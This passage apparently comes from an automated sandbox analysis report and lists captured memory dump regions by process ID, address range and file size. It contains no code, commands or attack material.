                                                                                                                                                                                                                                                                                                                                      Filesize

                                                                                                                                                                                                                                                                                                                                      4KB

                                                                                                                                                                                                                                                                                                                                    • memory/4152-194-0x0000000004C00000-0x0000000004C01000-memory.dmp

                                                                                                                                                                                                                                                                                                                                      Filesize

                                                                                                                                                                                                                                                                                                                                      4KB

                                                                                                                                                                                                                                                                                                                                    • memory/4152-186-0x0000000004C40000-0x0000000004C41000-memory.dmp

                                                                                                                                                                                                                                                                                                                                      Filesize

                                                                                                                                                                                                                                                                                                                                      4KB

                                                                                                                                                                                                                                                                                                                                    • memory/4152-197-0x0000000004E70000-0x0000000004E71000-memory.dmp

                                                                                                                                                                                                                                                                                                                                      Filesize

                                                                                                                                                                                                                                                                                                                                      4KB

                                                                                                                                                                                                                                                                                                                                    • memory/4188-212-0x0000000002B50000-0x0000000002C9A000-memory.dmp

                                                                                                                                                                                                                                                                                                                                      Filesize

                                                                                                                                                                                                                                                                                                                                      1.3MB

                                                                                                                                                                                                                                                                                                                                    • memory/4188-213-0x0000000000400000-0x0000000002B48000-memory.dmp

                                                                                                                                                                                                                                                                                                                                      Filesize

                                                                                                                                                                                                                                                                                                                                      39.3MB

                                                                                                                                                                                                                                                                                                                                    • memory/4196-271-0x0000000000400000-0x0000000000414000-memory.dmp

                                                                                                                                                                                                                                                                                                                                      Filesize

                                                                                                                                                                                                                                                                                                                                      80KB

                                                                                                                                                                                                                                                                                                                                    • memory/4204-198-0x000000001B4F0000-0x000000001B4F2000-memory.dmp

                                                                                                                                                                                                                                                                                                                                      Filesize

                                                                                                                                                                                                                                                                                                                                      8KB

                                                                                                                                                                                                                                                                                                                                    • memory/4204-195-0x0000000000C20000-0x0000000000C35000-memory.dmp

                                                                                                                                                                                                                                                                                                                                      Filesize

                                                                                                                                                                                                                                                                                                                                      84KB

                                                                                                                                                                                                                                                                                                                                    • memory/4204-189-0x00000000007F0000-0x00000000007F1000-memory.dmp

                                                                                                                                                                                                                                                                                                                                      Filesize

                                                                                                                                                                                                                                                                                                                                      4KB

                                                                                                                                                                                                                                                                                                                                    • memory/4312-210-0x0000000004860000-0x0000000004931000-memory.dmp

                                                                                                                                                                                                                                                                                                                                      Filesize

                                                                                                                                                                                                                                                                                                                                      836KB

                                                                                                                                                                                                                                                                                                                                    • memory/4312-238-0x0000000000400000-0x0000000002BB2000-memory.dmp

                                                                                                                                                                                                                                                                                                                                      Filesize

                                                                                                                                                                                                                                                                                                                                      39.7MB

                                                                                                                                                                                                                                                                                                                                    • memory/4324-199-0x00000000001E0000-0x00000000001E1000-memory.dmp

                                                                                                                                                                                                                                                                                                                                      Filesize

                                                                                                                                                                                                                                                                                                                                      4KB

                                                                                                                                                                                                                                                                                                                                    • memory/4332-496-0x0000000005610000-0x0000000005C16000-memory.dmp

                                                                                                                                                                                                                                                                                                                                      Filesize

                                                                                                                                                                                                                                                                                                                                      6.0MB

                                                                                                                                                                                                                                                                                                                                    • memory/4420-284-0x00000000001E0000-0x00000000001E1000-memory.dmp

                                                                                                                                                                                                                                                                                                                                      Filesize

                                                                                                                                                                                                                                                                                                                                      4KB

                                                                                                                                                                                                                                                                                                                                    • memory/4576-320-0x0000000004E60000-0x0000000004E61000-memory.dmp

                                                                                                                                                                                                                                                                                                                                      Filesize

                                                                                                                                                                                                                                                                                                                                      4KB

                                                                                                                                                                                                                                                                                                                                    • memory/4576-314-0x00000000052E0000-0x00000000052E1000-memory.dmp

                                                                                                                                                                                                                                                                                                                                      Filesize

                                                                                                                                                                                                                                                                                                                                      4KB

                                                                                                                                                                                                                                                                                                                                    • memory/4576-305-0x0000000000400000-0x0000000000422000-memory.dmp

                                                                                                                                                                                                                                                                                                                                      Filesize

                                                                                                                                                                                                                                                                                                                                      136KB

                                                                                                                                                                                                                                                                                                                                    • memory/4576-317-0x0000000004D30000-0x0000000004D31000-memory.dmp

                                                                                                                                                                                                                                                                                                                                      Filesize

                                                                                                                                                                                                                                                                                                                                      4KB

                                                                                                                                                                                                                                                                                                                                    • memory/4576-327-0x0000000004CD0000-0x00000000052D6000-memory.dmp

                                                                                                                                                                                                                                                                                                                                      Filesize

                                                                                                                                                                                                                                                                                                                                      6.0MB

                                                                                                                                                                                                                                                                                                                                    • memory/4576-331-0x0000000004D90000-0x0000000004D91000-memory.dmp

                                                                                                                                                                                                                                                                                                                                      Filesize

                                                                                                                                                                                                                                                                                                                                      4KB

                                                                                                                                                                                                                                                                                                                                    • memory/4580-207-0x0000000000D10000-0x0000000000D11000-memory.dmp

                                                                                                                                                                                                                                                                                                                                      Filesize

                                                                                                                                                                                                                                                                                                                                      4KB

                                                                                                                                                                                                                                                                                                                                    • memory/4680-325-0x00000000049C0000-0x0000000004A1F000-memory.dmp

                                                                                                                                                                                                                                                                                                                                      Filesize

                                                                                                                                                                                                                                                                                                                                      380KB

                                                                                                                                                                                                                                                                                                                                    • memory/4680-319-0x0000000004A44000-0x0000000004B45000-memory.dmp

                                                                                                                                                                                                                                                                                                                                      Filesize

                                                                                                                                                                                                                                                                                                                                      1.0MB

                                                                                                                                                                                                                                                                                                                                    • memory/4688-443-0x00000000050C0000-0x00000000059DE000-memory.dmp

                                                                                                                                                                                                                                                                                                                                      Filesize

                                                                                                                                                                                                                                                                                                                                      9.1MB

                                                                                                                                                                                                                                                                                                                                    • memory/4688-479-0x0000000000400000-0x0000000002F79000-memory.dmp

                                                                                                                                                                                                                                                                                                                                      Filesize

                                                                                                                                                                                                                                                                                                                                      43.5MB

                                                                                                                                                                                                                                                                                                                                    • memory/4700-220-0x0000000000E20000-0x0000000000E21000-memory.dmp

                                                                                                                                                                                                                                                                                                                                      Filesize

                                                                                                                                                                                                                                                                                                                                      4KB

                                                                                                                                                                                                                                                                                                                                    • memory/4712-252-0x0000000000B80000-0x0000000000B81000-memory.dmp

                                                                                                                                                                                                                                                                                                                                      Filesize

                                                                                                                                                                                                                                                                                                                                      4KB

                                                                                                                                                                                                                                                                                                                                    • memory/4712-223-0x0000000000440000-0x0000000000441000-memory.dmp

                                                                                                                                                                                                                                                                                                                                      Filesize

                                                                                                                                                                                                                                                                                                                                      4KB

                                                                                                                                                                                                                                                                                                                                    • memory/4712-268-0x000000001B0C0000-0x000000001B0C2000-memory.dmp

                                                                                                                                                                                                                                                                                                                                      Filesize

                                                                                                                                                                                                                                                                                                                                      8KB

                                                                                                                                                                                                                                                                                                                                    • memory/4712-243-0x00000000023C0000-0x000000000240B000-memory.dmp

                                                                                                                                                                                                                                                                                                                                      Filesize

                                                                                                                                                                                                                                                                                                                                      300KB

                                                                                                                                                                                                                                                                                                                                    • memory/4712-233-0x0000000000B70000-0x0000000000B71000-memory.dmp

                                                                                                                                                                                                                                                                                                                                      Filesize

                                                                                                                                                                                                                                                                                                                                      4KB

                                                                                                                                                                                                                                                                                                                                    • memory/4780-232-0x00000000000D0000-0x00000000000D1000-memory.dmp

                                                                                                                                                                                                                                                                                                                                      Filesize

                                                                                                                                                                                                                                                                                                                                      4KB

                                                                                                                                                                                                                                                                                                                                    • memory/4780-264-0x0000000000600000-0x0000000000602000-memory.dmp

                                                                                                                                                                                                                                                                                                                                      Filesize

                                                                                                                                                                                                                                                                                                                                      8KB

                                                                                                                                                                                                                                                                                                                                    • memory/4780-247-0x00000000005E0000-0x00000000005F5000-memory.dmp

                                                                                                                                                                                                                                                                                                                                      Filesize

                                                                                                                                                                                                                                                                                                                                      84KB

                                                                                                                                                                                                                                                                                                                                    • memory/4848-241-0x0000000002490000-0x0000000002492000-memory.dmp

                                                                                                                                                                                                                                                                                                                                      Filesize

                                                                                                                                                                                                                                                                                                                                      8KB

                                                                                                                                                                                                                                                                                                                                    • memory/4856-318-0x000000000A890000-0x000000000A891000-memory.dmp

                                                                                                                                                                                                                                                                                                                                      Filesize

                                                                                                                                                                                                                                                                                                                                      4KB

                                                                                                                                                                                                                                                                                                                                    • memory/4856-340-0x0000000005170000-0x0000000005171000-memory.dmp

                                                                                                                                                                                                                                                                                                                                      Filesize

                                                                                                                                                                                                                                                                                                                                      4KB

                                                                                                                                                                                                                                                                                                                                    • memory/4904-293-0x0000000002E30000-0x0000000002F01000-memory.dmp

                                                                                                                                                                                                                                                                                                                                      Filesize

                                                                                                                                                                                                                                                                                                                                      836KB

                                                                                                                                                                                                                                                                                                                                    • memory/4904-345-0x0000000000400000-0x0000000002BB2000-memory.dmp

                                                                                                                                                                                                                                                                                                                                      Filesize

                                                                                                                                                                                                                                                                                                                                      39.7MB

                                                                                                                                                                                                                                                                                                                                    • memory/4984-262-0x000000001BC00000-0x000000001BC02000-memory.dmp

                                                                                                                                                                                                                                                                                                                                      Filesize

                                                                                                                                                                                                                                                                                                                                      8KB

                                                                                                                                                                                                                                                                                                                                    • memory/4984-246-0x0000000000E90000-0x0000000000E91000-memory.dmp

                                                                                                                                                                                                                                                                                                                                      Filesize

                                                                                                                                                                                                                                                                                                                                      4KB

                                                                                                                                                                                                                                                                                                                                    • memory/5004-263-0x0000000004A10000-0x0000000004A11000-memory.dmp

                                                                                                                                                                                                                                                                                                                                      Filesize

                                                                                                                                                                                                                                                                                                                                      4KB

                                                                                                                                                                                                                                                                                                                                    • memory/5004-269-0x000000000A430000-0x000000000A431000-memory.dmp

                                                                                                                                                                                                                                                                                                                                      Filesize

                                                                                                                                                                                                                                                                                                                                      4KB

                                                                                                                                                                                                                                                                                                                                    • memory/5004-255-0x00000000002C0000-0x00000000002C1000-memory.dmp

                                                                                                                                                                                                                                                                                                                                      Filesize

                                                                                                                                                                                                                                                                                                                                      4KB

                                                                                                                                                                                                                                                                                                                                    • memory/5004-276-0x000000000A000000-0x000000000A001000-memory.dmp

                                                                                                                                                                                                                                                                                                                                      Filesize

                                                                                                                                                                                                                                                                                                                                      4KB

                                                                                                                                                                                                                                                                                                                                    • memory/5004-272-0x000000000A010000-0x000000000A011000-memory.dmp

                                                                                                                                                                                                                                                                                                                                      Filesize

                                                                                                                                                                                                                                                                                                                                      4KB

                                                                                                                                                                                                                                                                                                                                    • memory/5004-267-0x0000000004A20000-0x0000000004A2C000-memory.dmp

                                                                                                                                                                                                                                                                                                                                      Filesize

                                                                                                                                                                                                                                                                                                                                      48KB

                                                                                                                                                                                                                                                                                                                                    • memory/5032-370-0x0000000002600000-0x0000000002602000-memory.dmp

                                                                                                                                                                                                                                                                                                                                      Filesize

                                                                                                                                                                                                                                                                                                                                      8KB

                                                                                                                                                                                                                                                                                                                                    • memory/5032-338-0x0000000000300000-0x0000000000301000-memory.dmp

                                                                                                                                                                                                                                                                                                                                      Filesize

                                                                                                                                                                                                                                                                                                                                      4KB

                                                                                                                                                                                                                                                                                                                                    • memory/5060-297-0x0000000000400000-0x0000000000414000-memory.dmp

                                                                                                                                                                                                                                                                                                                                      Filesize

                                                                                                                                                                                                                                                                                                                                      80KB

                                                                                                                                                                                                                                                                                                                                    • memory/5064-312-0x0000000000400000-0x0000000002B53000-memory.dmp

                                                                                                                                                                                                                                                                                                                                      Filesize

                                                                                                                                                                                                                                                                                                                                      39.3MB

                                                                                                                                                                                                                                                                                                                                    • memory/5064-300-0x00000000047C0000-0x00000000047EF000-memory.dmp

                                                                                                                                                                                                                                                                                                                                      Filesize

                                                                                                                                                                                                                                                                                                                                      188KB

                                                                                                                                                                                                                                                                                                                                    • memory/5200-482-0x0000000004DB0000-0x0000000004DB1000-memory.dmp

                                                                                                                                                                                                                                                                                                                                      Filesize

                                                                                                                                                                                                                                                                                                                                      4KB

                                                                                                                                                                                                                                                                                                                                    • memory/5216-388-0x0000000003010000-0x0000000003011000-memory.dmp

                                                                                                                                                                                                                                                                                                                                      Filesize

                                                                                                                                                                                                                                                                                                                                      4KB

                                                                                                                                                                                                                                                                                                                                    • memory/5856-459-0x0000000005730000-0x0000000005D36000-memory.dmp

                                                                                                                                                                                                                                                                                                                                      Filesize

                                                                                                                                                                                                                                                                                                                                      6.0MB

                                                                                                                                                                                                                                                                                                                                    • memory/5856-440-0x0000000077620000-0x00000000777AE000-memory.dmp

                                                                                                                                                                                                                                                                                                                                      Filesize

                                                                                                                                                                                                                                                                                                                                      1.6MB